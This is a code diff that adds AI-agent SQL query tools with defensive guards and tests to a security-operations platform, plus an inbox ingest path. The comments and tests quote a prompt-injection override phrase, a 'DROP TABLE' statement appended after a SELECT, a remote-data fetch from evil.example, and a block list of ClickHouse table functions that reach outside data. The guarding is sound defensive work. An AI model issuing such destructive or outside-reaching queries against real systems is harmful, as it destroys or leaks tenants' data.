@@ -14,9 +14,11 @@ import (
"github.com/beenuar/aisoc/services/ingest/internal/config"
"github.com/beenuar/aisoc/services/ingest/internal/handler"
+ "github.com/beenuar/aisoc/services/ingest/internal/inbox"
"github.com/beenuar/aisoc/services/ingest/internal/normalizer"
"github.com/beenuar/aisoc/services/ingest/internal/publisher"
"github.com/beenuar/aisoc/services/ingest/internal/server"
+ "github.com/jackc/pgx/v5/pgxpool"
"github.com/rs/zerolog"
"github.com/rs/zerolog/log"
)
@@ -49,7 +51,40 @@ func main() {
h := handler.New(norm, pub, cfg)
- srv := server.New(cfg, h)
+ // Workstream 6 — universal capture push paths.
+ //
+ // We need a Postgres pool to resolve inbox tokens and a YAML registry
+ // to find the matching template. Both are optional in dev (no
+ // DATABASE_DSN means /v1/inbox/* is disabled but /v1/ingest still
+ // works, so the connector path keeps running).
+ var inboxHandler *inbox.Handler
+ if cfg.InboxEnabled && cfg.DatabaseDSN != "" {
+ poolCtx, poolCancel := context.WithTimeout(context.Background(), 10*time.Second)
+ pool, err := pgxpool.New(poolCtx, cfg.DatabaseDSN)
+ poolCancel()
+ if err != nil {
+ log.Warn().Err(err).Msg("Failed to connect to Postgres for inbox; /v1/inbox/* disabled")
+ } else {
+ defer pool.Close()
+ store := inbox.NewStore(pool)
+ registry := inbox.NewRegistry()
+ if err := registry.Load(cfg.InboxTemplatesDir); err != nil {
+ log.Warn().Err(err).Str("dir", cfg.InboxTemplatesDir).
+ Msg("Failed to load inbox templates; /v1/inbox/* will return 503 for unknown templates")
+ }
+ log.Info().
+ Strs("templates", registry.IDs()).
+ Int64("max_body_bytes", cfg.InboxMaxBodyBytes).
+ Msg("inbox: universal-capture push paths enabled")
+ inboxHandler = inbox.NewHandler(store, registry, pub, cfg.InboxMaxBodyBytes)
+ }
+ } else if !cfg.InboxEnabled {
+ log.Info().Msg("inbox: disabled via INBOX_ENABLED=false")
+ } else {
+ log.Info().Msg("inbox: skipped (no DATABASE_DSN)")
+ }
+
+ srv := server.New(cfg, h, inboxHandler)
// Graceful shutdown
ctx, cancel := context.WithCancel(context.Background())
diff --git a/services/mcp/src/tools/index.ts b/services/mcp/src/tools/index.ts
index 20ea062dd..4f729668a 100644
--- a/services/mcp/src/tools/index.ts
+++ b/services/mcp/src/tools/index.ts
@@ -24,6 +24,7 @@ import {
listInvestigationsTool,
replayDecisionTool,
} from "./investigations.js";
+import { lakeQueryTool, lakeSchemaTool } from "./lake.js";
import type { ToolDefinition } from "./types.js";
export const ALL_TOOLS: ToolDefinition[] = [
@@ -32,11 +33,18 @@ export const ALL_TOOLS: ToolDefinition[] = [
listCasesTool,
queryDetectionsTool,
listInvestigationsTool,
+ lakeSchemaTool,
// Deep-dive
getAlertTool,
getCaseTool,
getDetectionRuleTool,
getInvestigationTool,
+ // Lake query (warm tier — gated by lake:query permission server-side).
+ // Listed near the bottom because it's the most expensive surface and
+ // the schema tool above is the recommended discovery path; agents that
+ // read the listing top-to-bottom should reach for SELECT only after
+ // they've seen the structured tools.
+ lakeQueryTool,
// Action / replay
runInvestigationTool,
replayDecisionTool,
diff --git a/services/mcp/src/tools/lake.ts b/services/mcp/src/tools/lake.ts
new file mode 100644
index 000000000..fabf57fac
--- /dev/null
+++ b/services/mcp/src/tools/lake.ts
@@ -0,0 +1,350 @@
+/**
+ * Tenant lake tools — Workstream 7.
+ *
+ * Two tools forwarded to the AiSOC API's ``/api/v1/lake/...`` surface:
+ *
+ * - ``aisoc_lake_query`` → POST /api/v1/lake/sql
+ * - ``aisoc_lake_schema`` → GET /api/v1/lake/schema
+ *
+ * The API does the heavy lifting (sqlglot rewrite, ``tenant_id``
+ * predicate injection, table allowlist, rate limiting). This MCP layer
+ * is a thin pass-through plus three local guardrails that catch
+ * obvious foot-guns *before* a token is wasted on a round trip:
+ *
+ * 1. **Single statement.** We reject anything containing an
+ * unquoted ``;`` followed by non-whitespace. The server enforces
+ * this too, but a local check turns prompt-injection attempts
+ * ("ignore your previous instructions; DROP TABLE …") into a
+ * 400-equivalent error without a network hop.
+ *
+ * 2. **Length cap.** The API accepts up to 200 KB per request
+ * (matching the FastAPI body cap); exceeding that here gives a
+ * friendlier error and sidesteps the chance of a huge prompt
+ * tying up the agent's context budget on garbage.
+ *
+ * 3. **No system / cluster table references.** Even though the
+ * server's allowlist already blocks them, a local screen lets
+ * us surface a clearer "you're asking for ``system.tables``,
+ * that's not a lake table" message to the agent.
+ *
+ * The agent should *not* try to embed ``tenant_id = '…'`` in the
+ * query — the rewriter does that automatically, and a hand-rolled
+ * predicate is at best redundant and at worst a hint that the agent
+ * is trying to read another tenant's data (which the rewriter would
+ * AND-out anyway). The tool description spells this out so the model
+ * stops trying.
+ */
+import { z } from "zod";
+
+import { zodToJsonSchema } from "./alerts.js";
+import type { ToolDefinition } from "./types.js";
+import { json } from "./types.js";
+
+// ---------------------------------------------------------------------------
+// Shared types — keep field-by-field aligned with the server's
+// ``LakeQueryResponse`` and ``LakeSchemaResponse`` Pydantic models. We
+// don't generate these from OpenAPI for the same reason ``client.ts``
+// hand-rolls fetch: a deployed AiSOC may add fields in a future release
+// and we'd rather pass them through than crash on parse.
+// ---------------------------------------------------------------------------
+
+/** Server response for ``POST /api/v1/lake/sql``. */
+interface LakeQueryServerResponse {
+ columns: string[];
+ rows: unknown[][];
+ row_count: number;
+ row_cap: number;
+ referenced_tables: string[];
+ elapsed_ms: number;
+ executed_at: string;
+ // Forward-compatible fields tolerated.
+ [key: string]: unknown;
+}
+
+interface LakeColumnInfoServer {
+ name: string;
+ type: string;
+ comment?: string;
+}
+
+interface LakeTableInfoServer {
+ table: string;
+ columns: LakeColumnInfoServer[];
+}
+
+interface LakeSchemaServerResponse {
+ tables: LakeTableInfoServer[];
+ [key: string]: unknown;
+}
+
+// ---------------------------------------------------------------------------
+// Local guard rails. The server is the source of truth for policy; these
+// just trim trips for obviously-malformed input.
+// ---------------------------------------------------------------------------
+
+/** Hard cap mirroring the server's ``LakeQueryRequest.sql.max_length``. */
+const MAX_SQL_BYTES = 200_000;
+
+/**
+ * Quick screen for "looks like multiple statements". A real parser is
+ * overkill here — the server runs sqlglot — but we want to reject
+ * prompt-injection-shaped strings without a network round trip.
+ *
+ * The regex matches a ``;`` not inside single or double quotes,
+ * followed by any non-whitespace character. We don't try to handle
+ * SQL comments or backslash-escaped quotes; sqlglot on the server
+ * does that properly. This is purely a fast-path.
+ */
+function looksLikeMultipleStatements(sql: string): boolean {
+ // Strip comments before scanning so ``-- chatty comment;`` is fine.
+ // ClickHouse supports both line comments (--) and block comments (/* */).
+ const noBlockComments = sql.replace(/\/\*[\s\S]*?\*\//g, " ");
+ const noLineComments = noBlockComments.replace(/--[^\n]*/g, " ");
+
+ let inSingle = false;
+ let inDouble = false;
+ let inBackquote = false;
+ for (let i = 0; i < noLineComments.length; i++) {
+ const ch = noLineComments[i];
+ const prev = i > 0 ? noLineComments[i - 1] : "";
+ if (ch === "'" && prev !== "\\" && !inDouble && !inBackquote) {
+ inSingle = !inSingle;
+ continue;
+ }
+ if (ch === '"' && prev !== "\\" && !inSingle && !inBackquote) {
+ inDouble = !inDouble;
+ continue;
+ }
+ if (ch === "`" && !inSingle && !inDouble) {
+ inBackquote = !inBackquote;
+ continue;
+ }
+ if (ch === ";" && !inSingle && !inDouble && !inBackquote) {
+ // Anything after the semicolon that isn't whitespace makes it a
+ // second statement.
+ const tail = noLineComments.slice(i + 1).trim();
+ if (tail.length > 0) return true;
+ }
+ }
+ return false;
+}
+
+/**
+ * Tables the server does not allow. The server is authoritative — we
+ * just want a faster rejection so the agent can iterate without a
+ * round trip per attempt. Patterns are case-insensitive.
+ */
+const FORBIDDEN_TABLE_PATTERNS: RegExp[] = [
+ /\bsystem\s*\./i,
+ /\binformation_schema\s*\./i,
+ /\bclusterAllReplicas\s*\(/i,
+ /\bcluster\s*\(/i,
+ /\bremote\s*\(/i,
+ /\bremoteSecure\s*\(/i,
+ /\burl\s*\(/i,
+ /\bs3\s*\(/i,
+ /\bfile\s*\(/i,
+ /\bjdbc\s*\(/i,
+ /\bodbc\s*\(/i,
+ /\bmysql\s*\(/i,
+ /\bpostgresql\s*\(/i,
+];
+
+function findForbiddenReference(sql: string): string | null {
+ for (const pattern of FORBIDDEN_TABLE_PATTERNS) {
+ const match = pattern.exec(sql);
+ if (match) return match[0];
+ }
+ return null;
+}
+
+// ---------------------------------------------------------------------------
+// aisoc_lake_query
+// ---------------------------------------------------------------------------
+
+const LakeQuerySchema = z
+ .object({
+ sql: z
+ .string()
+ .min(1)
+ .max(MAX_SQL_BYTES)
+ .describe(
+ [
+ "ClickHouse SQL SELECT statement to run against the warm tier of",
+ "the connected AiSOC tenant. The server enforces:",
+ " - Single SELECT (no DDL/DML/multi-statement).",
+ " - Allowlisted tables only (raw_events, alert_metrics,",
+ " ioc_enrichments). System and cluster tables are blocked.",
+ " - tenant_id predicates are injected automatically — DO NOT",
+ " add `tenant_id = '...'` to your query; it is redundant",
+ " and will not let you read another tenant's data.",
+ " - LIMIT is clamped to a server-configured cap.",
+ "Use `aisoc_lake_schema` first if you don't know the columns.",
+ ].join(" "),
+ ),
+ row_cap: z
+ .number()
+ .int()
+ .min(1)
+ .max(100_000)
+ .optional()
+ .describe(
+ "Optional row cap; the server clamps to its own max (100k by default). "
+ + "Useful when you want a smaller result set for quick exploration.",
+ ),
+ timeout_seconds: z
+ .number()
+ .min(0.1)
+ .max(60)
+ .optional()
+ .describe(
+ "Optional wall-clock timeout in seconds (max 60). Defaults to the "
+ + "server cap (30s). Set lower for fast iteration.",
+ ),
+ })
+ .strict();
+
+export const lakeQueryTool: ToolDefinition<typeof LakeQuerySchema> = {
+ metadata: {
+ name: "aisoc_lake_query",
+ description:
+ "Run a tenant-scoped SELECT against the warm-tier security data lake "
+ + "(ClickHouse). Tenant isolation, table allowlisting, and LIMIT clamping "
+ + "are enforced server-side. Use `aisoc_lake_schema` to discover columns.",
+ inputSchema: zodToJsonSchema(LakeQuerySchema),
+ },
+ schema: LakeQuerySchema,
+ async handle(ctx, args) {
+ const sql = args.sql;
+
+ // Local guard 1: single-statement.
+ if (looksLikeMultipleStatements(sql)) {
+ return json({
+ error: "multi_statement",
+ message:
+ "Lake API only accepts a single SELECT per call. Remove the trailing "
+ + "`;` and any subsequent statement.",
+ });
+ }
+
+ // Local guard 2: forbidden table reference.
+ const forbidden = findForbiddenReference(sql);
+ if (forbidden) {
+ return json({
+ error: "forbidden_reference",
+ match: forbidden,
+ message:
+ `Reference to '${forbidden}' is not allowed by the lake. `
+ + "Use only the allowlisted tables (see `aisoc_lake_schema`).",
+ });
+ }
+
+ // Local guard 3: byte cap. zod already validates this, but if the
+ // host tolerates oversized strings we surface a clean error here.
+ if (sql.length > MAX_SQL_BYTES) {
+ return json({
+ error: "sql_too_long",
+ max_bytes: MAX_SQL_BYTES,
+ actual_bytes: sql.length,
+ message:
+ "SQL exceeds the lake's per-request byte cap. Refactor with CTEs or "
+ + "use a smaller intermediate query.",
+ });
+ }
+
+ // Forward to the API. The body shape mirrors `LakeQueryRequest`.
+ const data = await ctx.client.post<LakeQueryServerResponse>(
+ "/api/v1/lake/sql",
+ {
+ sql,
+ row_cap: args.row_cap,
+ timeout_seconds: args.timeout_seconds,
+ },
+ );
+
+ // Re-shape rows into ``[{col: val, ...}, ...]`` so an LLM doesn't
+ // have to zip ``columns`` against ``rows`` mentally on every call.
+ // We *also* keep the raw ``rows`` array because it's smaller for
+ // wide result sets and some agents prefer it; ``records`` is the
+ // ergonomic view.
+ const records = data.rows.map((row) => {
+ const obj: Record<string, unknown> = {};
+ for (let i = 0; i < data.columns.length; i++) {
+ obj[data.columns[i] ?? `col_${i}`] = row[i];
+ }
+ return obj;
+ });
+
+ // Truncation hint: if the row count equals the row_cap, the agent
+ // should know there's likely more data and consider tightening
+ // its filter or paginating.
+ const truncated =
+ typeof data.row_cap === "number" && data.row_count >= data.row_cap;
+
+ return json({
+ columns: data.columns,
+ records,
+ row_count: data.row_count,
+ row_cap: data.row_cap,
+ truncated,
+ referenced_tables: data.referenced_tables,
+ elapsed_ms: data.elapsed_ms,
+ executed_at: data.executed_at,
+ });
+ },
+};
+
+// ---------------------------------------------------------------------------
+// aisoc_lake_schema
+// ---------------------------------------------------------------------------
+
+const LakeSchemaSchema = z
+ .object({
+ tables: z
+ .array(z.string().min(1).max(128))
+ .max(20)
+ .optional()
+ .describe(
+ "Optional list of table names to fetch. If omitted, returns metadata "
+ + "for every allowlisted table in the lake.",
+ ),
+ })
+ .strict();
+
+export const lakeSchemaTool: ToolDefinition<typeof LakeSchemaSchema> = {
+ metadata: {
+ name: "aisoc_lake_schema",
+ description:
+ "List columns + types for the lake's allowlisted tables. Use this "
+ + "before calling `aisoc_lake_query` so you don't guess column names.",
+ inputSchema: zodToJsonSchema(LakeSchemaSchema),
+ },
+ schema: LakeSchemaSchema,
+ async handle(ctx, args) {
+ const data = await ctx.client.get<LakeSchemaServerResponse>(
+ "/api/v1/lake/schema",
+ );
+
+ // Apply the optional client-side filter. The server doesn't take
+ // a ``tables`` query param yet — we keep the surface stable here
+ // so a future server filter is a swap-out, not a tool-shape
+ // change.
+ let tables = data.tables;
+ if (args.tables && args.tables.length > 0) {
+ const wanted = new Set(args.tables.map((t) => t.toLowerCase()));
+ tables = tables.filter((t) => wanted.has(t.table.toLowerCase()));
+ }
+
+ return json({
+ total: tables.length,
+ tables: tables.map((t) => ({
+ table: t.table,
+ columns: t.columns.map((c) => ({
+ name: c.name,
+ type: c.type,
+ comment: c.comment ?? "",
+ })),
+ })),
+ });
+ },
+};
diff --git a/services/mcp/tests/lake.test.ts b/services/mcp/tests/lake.test.ts
new file mode 100644
index 000000000..c78486d4f
--- /dev/null
+++ b/services/mcp/tests/lake.test.ts
@@ -0,0 +1,637 @@
+/**
+ * Tests for the Workstream 7 lake tools (``aisoc_lake_query`` /
+ * ``aisoc_lake_schema``).
+ *
+ * These tools are special: they're the only surface that lets an agent
+ * write arbitrary SQL, so the tool layer ships local guard rails that
+ * reject obviously-bad input *before* a network round trip. The tests
+ * here lock down those guard rails — the server-side rewriter is tested
+ * separately in ``services/api`` — and verify the API call shape
+ * (path + body) so a future client refactor doesn't silently break
+ * either tool.
+ *
+ * We mock the {@link AisocClient} via duck typing: the tools only use
+ * ``client.get`` / ``client.post``, so a stub with those two methods
+ * is enough. Faking the whole class with a real ``ServerConfig`` would
+ * pull in fetch / env / logger plumbing we don't need here.
+ */
+import { describe, expect, it, vi } from "vitest";
+
+import type { AisocClient } from "../src/client.js";
+import type { Logger } from "../src/config.js";
+import { lakeQueryTool, lakeSchemaTool } from "../src/tools/lake.js";
+import type { ToolContext } from "../src/tools/types.js";
+
+/** Shape we actually exercise from {@link AisocClient}. */
+interface StubClient {
+ get: ReturnType<typeof vi.fn>;
+ post: ReturnType<typeof vi.fn>;
+}
+
+/** A no-op logger keeps the test output uncluttered. */
+const SILENT_LOG: Logger = {
+ info: () => undefined,
+ warn: () => undefined,
+ error: () => undefined,
+};
+
+function makeCtx(client: StubClient): ToolContext {
+ // The tools only touch ``client.get`` / ``client.post``; the cast
+ // narrows the stub to the full client interface for the type
+ // checker without us having to construct a real config object.
+ return {
+ client: client as unknown as AisocClient,
+ log: SILENT_LOG,
+ };
+}
+
+// ---------------------------------------------------------------------------
+// aisoc_lake_query
+// ---------------------------------------------------------------------------
+
+describe("lakeQueryTool — zod schema", () => {
+ it("accepts a minimal SELECT", () => {
+ const parsed = lakeQueryTool.schema.safeParse({
+ sql: "SELECT 1",
+ });
+ expect(parsed.success).toBe(true);
+ });
+
+ it("rejects an empty SQL string", () => {
+ // A no-op query is almost certainly an agent loop bug; we'd rather
+ // surface that locally than hit ``/lake/sql`` with nothing.
+ const parsed = lakeQueryTool.schema.safeParse({ sql: "" });
+ expect(parsed.success).toBe(false);
+ });
+
+ it("rejects oversized SQL beyond MAX_SQL_BYTES", () => {
+ // 200_001 chars of ``a`` exceeds the 200 KB cap by 1 byte. zod's
+ // ``max`` is on character count, which matches our server-side
+ // ``LakeQueryRequest.sql.max_length``; the byte / char distinction
+ // is irrelevant for ASCII and is the conservative choice for
+ // multibyte content.
+ const oversized = "a".repeat(200_001);
+ const parsed = lakeQueryTool.schema.safeParse({ sql: oversized });
+ expect(parsed.success).toBe(false);
+ });
+
+ it("rejects unknown fields (strict object)", () => {
+ // Strict mode means a typo like ``timout_seconds`` surfaces as a
+ // schema error, not a silently-dropped argument the caller will
+ // wonder about.
+ const parsed = lakeQueryTool.schema.safeParse({
+ sql: "SELECT 1",
+ tenant_id: "00000000-0000-0000-0000-000000000000",
+ });
+ expect(parsed.success).toBe(false);
+ });
+
+ it("rejects row_cap below 1 and above 100k", () => {
+ expect(
+ lakeQueryTool.schema.safeParse({ sql: "SELECT 1", row_cap: 0 }).success,
+ ).toBe(false);
+ expect(
+ lakeQueryTool.schema.safeParse({ sql: "SELECT 1", row_cap: 100_001 })
+ .success,
+ ).toBe(false);
+ expect(
+ lakeQueryTool.schema.safeParse({ sql: "SELECT 1", row_cap: 100 }).success,
+ ).toBe(true);
+ });
+
+ it("rejects timeout_seconds below 0.1 and above 60", () => {
+ // The 60 s upper bound matches the server-side ``timeout_seconds``
+ // cap on ``LakeQueryRequest`` — picked to be larger than the
+ // ClickHouse default but small enough that a runaway query can't
+ // tie up the FastAPI worker indefinitely.
+ expect(
+ lakeQueryTool.schema.safeParse({ sql: "SELECT 1", timeout_seconds: 0 })
+ .success,
+ ).toBe(false);
+ expect(
+ lakeQueryTool.schema.safeParse({ sql: "SELECT 1", timeout_seconds: 61 })
+ .success,
+ ).toBe(false);
+ });
+});
+
+describe("lakeQueryTool — multi-statement guard", () => {
+ // The guard exists so that prompt-injected agents — "ignore your
+ // instructions; DROP TABLE …" — are rejected without a network
+ // round trip. The server's sqlglot rewriter is the source of
+ // truth, but a local fast path is cheap insurance.
+
+ it("rejects a trailing DROP TABLE after a SELECT", async () => {
+ const client: StubClient = { get: vi.fn(), post: vi.fn() };
+ const result = await lakeQueryTool.handle(makeCtx(client), {
+ sql: "SELECT 1; DROP TABLE raw_events",
+ });
+ expect(result.kind).toBe("json");
+ if (result.kind === "json") {
+ expect(result.data).toMatchObject({ error: "multi_statement" });
+ }
+ // Critically: we never sent the request.
+ expect(client.post).not.toHaveBeenCalled();
+ });
+
+ it("allows a trailing semicolon followed only by whitespace", async () => {
+ // Clients (DB GUIs, sqlfluff, copy-paste from a notebook) routinely
+ // append a trailing ``;``. Refusing that would be hostile to
+ // humans and to most agent SQL emitters. The guard only fires
+ // when there's *more* code after the semicolon.
+ const client: StubClient = {
+ get: vi.fn(),
+ post: vi.fn().mockResolvedValue({
+ columns: ["c"],
+ rows: [[1]],
+ row_count: 1,
+ row_cap: 100_000,
+ referenced_tables: ["aisoc.raw_events"],
+ elapsed_ms: 5,
+ executed_at: "2026-05-08T19:00:00Z",
+ }),
+ };
+ await lakeQueryTool.handle(makeCtx(client), {
+ sql: "SELECT 1 FROM raw_events ; \n",
+ });
+ expect(client.post).toHaveBeenCalledTimes(1);
+ });
+
+ it("ignores semicolons inside string literals", async () => {
+ // ``WHERE message = 'hi; bye'`` is a single statement; the guard
+ // must not be tricked by punctuation in literals or it'll reject
+ // legitimate queries about logs that contain semicolons.
+ const client: StubClient = {
+ get: vi.fn(),
+ post: vi.fn().mockResolvedValue({
+ columns: [],
+ rows: [],
+ row_count: 0,
+ row_cap: 100_000,
+ referenced_tables: ["aisoc.raw_events"],
+ elapsed_ms: 1,
+ executed_at: "2026-05-08T19:00:00Z",
+ }),
+ };
+ await lakeQueryTool.handle(makeCtx(client), {
+ sql: "SELECT * FROM raw_events WHERE message = 'hi; bye'",
+ });
+ expect(client.post).toHaveBeenCalledTimes(1);
+ });
+
+ it("ignores semicolons inside SQL comments", async () => {
+ // ClickHouse supports both ``--`` and ``/* */`` comments; the
+ // guard strips them before scanning, otherwise a chatty comment
+ // ("-- thanks; please run") becomes a "second statement".
+ const client: StubClient = {
+ get: vi.fn(),
+ post: vi.fn().mockResolvedValue({
+ columns: [],
+ rows: [],
+ row_count: 0,
+ row_cap: 100_000,
+ referenced_tables: ["aisoc.raw_events"],
+ elapsed_ms: 1,
+ executed_at: "2026-05-08T19:00:00Z",
+ }),
+ };
+ await lakeQueryTool.handle(makeCtx(client), {
+ sql: "SELECT 1 FROM raw_events -- hi; thanks\n",
+ });
+ expect(client.post).toHaveBeenCalledTimes(1);
+
+ await lakeQueryTool.handle(makeCtx(client), {
+ sql: "SELECT 1 FROM raw_events /* hi; bye */",
+ });
+ expect(client.post).toHaveBeenCalledTimes(2);
+ });
+});
+
+describe("lakeQueryTool — forbidden-table guard", () => {
+ // The server rejects these too via the rewriter's table allowlist.
+ // We mirror the patterns locally so an agent iterating against a
+ // mistake gets the rejection in milliseconds, not after an HTTP
+ // round trip.
+
+ const cases: Array<{ name: string; sql: string }> = [
+ {
+ name: "system schema",
+ sql: "SELECT name FROM system.tables",
+ },
+ {
+ name: "information_schema",
+ sql: "SELECT * FROM information_schema.columns",
+ },
+ {
+ name: "remote() table function",
+ sql: "SELECT * FROM remote('other-host', 'aisoc', 'raw_events')",
+ },
+ {
+ name: "url() table function",
+ sql: "SELECT * FROM url('https://evil.example/data.json', 'JSONEachRow')",
+ },
+ {
+ name: "s3() table function",
+ sql: "SELECT * FROM s3('s3://bucket/key', 'CSV')",
+ },
+ {
+ name: "clusterAllReplicas() function",
+ sql: "SELECT * FROM clusterAllReplicas('cluster', 'aisoc.raw_events')",
+ },
+ {
+ name: "case-insensitive system reference",
+ sql: "SELECT * FROM SYSTEM.tables",
+ },
+ ];
+
+ for (const tc of cases) {
+ it(`rejects ${tc.name}`, async () => {
+ const client: StubClient = { get: vi.fn(), post: vi.fn() };
+ const result = await lakeQueryTool.handle(makeCtx(client), { sql: tc.sql });
+ expect(result.kind).toBe("json");
+ if (result.kind === "json") {
+ expect(result.data).toMatchObject({ error: "forbidden_reference" });
+ }
+ expect(client.post).not.toHaveBeenCalled();
+ });
+ }
+
+ it("does not flag legitimate column or alias names that contain 'system'", async () => {
+ // ``system_id`` is a perfectly legal column name. The forbidden
+ // patterns require ``system`` to be *followed* by a dot or paren,
+ // so this should pass the guard and reach the API.
+ const client: StubClient = {
+ get: vi.fn(),
+ post: vi.fn().mockResolvedValue({
+ columns: ["system_id"],
+ rows: [[42]],
+ row_count: 1,
+ row_cap: 100_000,
+ referenced_tables: ["aisoc.raw_events"],
+ elapsed_ms: 1,
+ executed_at: "2026-05-08T19:00:00Z",
+ }),
+ };
+ await lakeQueryTool.handle(makeCtx(client), {
+ sql: "SELECT system_id FROM raw_events",
+ });
+ expect(client.post).toHaveBeenCalledTimes(1);
+ });
+});
+
+describe("lakeQueryTool — happy path", () => {
+ it("forwards sql + row_cap + timeout_seconds to /api/v1/lake/sql", async () => {
+ // We're explicit about the body shape because the server uses
+ // FastAPI's ``LakeQueryRequest`` Pydantic model — extra keys are
+ // tolerated, but missing or renamed keys would 422 silently.
+ const client: StubClient = {
+ get: vi.fn(),
+ post: vi.fn().mockResolvedValue({
+ columns: ["id"],
+ rows: [[1], [2]],
+ row_count: 2,
+ row_cap: 5,
+ referenced_tables: ["aisoc.raw_events"],
+ elapsed_ms: 12,
+ executed_at: "2026-05-08T19:00:00Z",
+ }),
+ };
+ await lakeQueryTool.handle(makeCtx(client), {
+ sql: "SELECT id FROM raw_events",
+ row_cap: 5,
+ timeout_seconds: 10,
+ });
+
+ expect(client.post).toHaveBeenCalledTimes(1);
+ const [path, body] = client.post.mock.calls[0];
+ expect(path).toBe("/api/v1/lake/sql");
+ expect(body).toEqual({
+ sql: "SELECT id FROM raw_events",
+ row_cap: 5,
+ timeout_seconds: 10,
+ });
+ });
+
+ it("zips columns and rows into 'records' for ergonomic agent consumption", async () => {
+ // The wire format is column-major (``columns: [], rows: [[]]``)
+ // because ClickHouse is column-major and we want minimal
+ // serialisation overhead. But agents reason better about
+ // row-major ``[{col: val}, ...]`` so the tool transforms it.
+ // Both the raw ``rows`` *aren't* returned here — we only emit
+ // ``records`` to keep the result compact for wide tables.
+ const client: StubClient = {
+ get: vi.fn(),
+ post: vi.fn().mockResolvedValue({
+ columns: ["id", "tenant_id"],
+ rows: [
+ [1, "t-a"],
+ [2, "t-b"],
+ ],
+ row_count: 2,
+ row_cap: 100,
+ referenced_tables: ["aisoc.raw_events"],
+ elapsed_ms: 7,
+ executed_at: "2026-05-08T19:00:00Z",
+ }),
+ };
+ const result = await lakeQueryTool.handle(makeCtx(client), {
+ sql: "SELECT id, tenant_id FROM raw_events",
+ });
+ if (result.kind !== "json") throw new Error("expected json result");
+ const data = result.data as {
+ records: Array<Record<string, unknown>>;
+ columns: string[];
+ truncated: boolean;
+ };
+ expect(data.columns).toEqual(["id", "tenant_id"]);
+ expect(data.records).toEqual([
+ { id: 1, tenant_id: "t-a" },
+ { id: 2, tenant_id: "t-b" },
+ ]);
+ expect(data.truncated).toBe(false);
+ });
+
+ it("flags truncated=true when row_count meets row_cap", async () => {
+ // The server clamps LIMIT, so when ``row_count == row_cap`` the
+ // agent should suspect "there's more". This nudges it toward
+ // tightening filters or paginating instead of trusting a
+ // partial answer.
+ const client: StubClient = {
+ get: vi.fn(),
+ post: vi.fn().mockResolvedValue({
+ columns: ["id"],
+ rows: [[1], [2], [3]],
+ row_count: 3,
+ row_cap: 3,
+ referenced_tables: ["aisoc.raw_events"],
+ elapsed_ms: 5,
+ executed_at: "2026-05-08T19:00:00Z",
+ }),
+ };
+ const result = await lakeQueryTool.handle(makeCtx(client), {
+ sql: "SELECT id FROM raw_events",
+ row_cap: 3,
+ });
+ if (result.kind !== "json") throw new Error("expected json result");
+ expect((result.data as { truncated: boolean }).truncated).toBe(true);
+ });
+
+ it("omits row_cap and timeout_seconds when not provided", async () => {
+ // The server has its own defaults; sending ``undefined`` in the
+ // body would JSON-serialise to a missing key, which Pydantic
+ // accepts. We just confirm we don't accidentally inject zeros
+ // or empty strings here.
+ const client: StubClient = {
+ get: vi.fn(),
+ post: vi.fn().mockResolvedValue({
+ columns: [],
+ rows: [],
+ row_count: 0,
+ row_cap: 100_000,
+ referenced_tables: ["aisoc.raw_events"],
+ elapsed_ms: 1,
+ executed_at: "2026-05-08T19:00:00Z",
+ }),
+ };
+ await lakeQueryTool.handle(makeCtx(client), { sql: "SELECT 1" });
+ const [, body] = client.post.mock.calls[0];
+ expect(body).toEqual({
+ sql: "SELECT 1",
+ row_cap: undefined,
+ timeout_seconds: undefined,
+ });
+ });
+
+ it("synthesises col_<index> when a column name is missing (sparse columns)", async () => {
+ // Defensive: if the server ever returns a column array with a
+ // missing entry (e.g. ``["id", undefined]``), we still produce a
+ // usable record key so the value isn't silently dropped. The
+ // record-builder iterates by ``columns.length``, so extra cells
+ // *beyond* the column count are intentionally dropped — the
+ // server's response invariant is ``columns.length === row.length``,
+ // and we'd rather match that contract than synthesise mystery
+ // keys for cells without metadata.
+ const client: StubClient = {
+ get: vi.fn(),
+ post: vi.fn().mockResolvedValue({
+ // Sparse: second column name is missing. JSON-over-the-wire
+ // would render this as ``null``, which we coerce to col_<i>.
+ columns: ["id", undefined as unknown as string],
+ rows: [[1, "extra"]],
+ row_count: 1,
+ row_cap: 100,
+ referenced_tables: ["aisoc.raw_events"],
+ elapsed_ms: 1,
+ executed_at: "2026-05-08T19:00:00Z",
+ }),
+ };
+ const result = await lakeQueryTool.handle(makeCtx(client), {
+ sql: "SELECT id FROM raw_events",
+ });
+ if (result.kind !== "json") throw new Error("expected json result");
+ const records = (result.data as { records: Array<Record<string, unknown>> })
+ .records;
+ expect(records[0]).toEqual({ id: 1, col_1: "extra" });
+ });
+
+ it("drops trailing cells that have no matching column name", async () => {
+ // The complement of the test above: cells *beyond* the declared
+ // column count are dropped, because the loop runs over
+ // ``columns.length`` not ``row.length``. Documenting this
+ // explicitly so we don't accidentally "fix" it later — the
+ // server's response invariant guarantees parity, and a dropped
+ // cell is a clearer failure mode than a phantom ``col_N`` that
+ // appears only on bad responses.
+ const client: StubClient = {
+ get: vi.fn(),
+ post: vi.fn().mockResolvedValue({
+ columns: ["id"],
+ // Pathological: extra cell with no column name.
+ rows: [[1, "extra"]],
+ row_count: 1,
+ row_cap: 100,
+ referenced_tables: ["aisoc.raw_events"],
+ elapsed_ms: 1,
+ executed_at: "2026-05-08T19:00:00Z",
+ }),
+ };
+ const result = await lakeQueryTool.handle(makeCtx(client), {
+ sql: "SELECT id FROM raw_events",
+ });
+ if (result.kind !== "json") throw new Error("expected json result");
+ const records = (result.data as { records: Array<Record<string, unknown>> })
+ .records;
+ expect(records[0]).toEqual({ id: 1 });
+ });
+});
+
+describe("lakeQueryTool — error propagation", () => {
+ it("propagates client.post errors to the caller", async () => {
+ // The MCP server is responsible for turning thrown ApiError /
+ // TransportError into the standard MCP error envelope; the tool
+ // must not swallow them. If this assertion ever flips to a
+ // ``json`` result we've grown a silent-failure bug.
+ const client: StubClient = {
+ get: vi.fn(),
+ post: vi.fn().mockRejectedValue(new Error("kaboom")),
+ };
+ await expect(
+ lakeQueryTool.handle(makeCtx(client), {
+ sql: "SELECT 1 FROM raw_events",
+ }),
+ ).rejects.toThrow("kaboom");
+ });
+});
+
+// ---------------------------------------------------------------------------
+// aisoc_lake_schema
+// ---------------------------------------------------------------------------
+
+describe("lakeSchemaTool — zod schema", () => {
+ it("accepts an empty argument object (returns full catalog)", () => {
+ const parsed = lakeSchemaTool.schema.safeParse({});
+ expect(parsed.success).toBe(true);
+ });
+
+ it("accepts an explicit list of tables", () => {
+ const parsed = lakeSchemaTool.schema.safeParse({
+ tables: ["raw_events", "alert_metrics"],
+ });
+ expect(parsed.success).toBe(true);
+ });
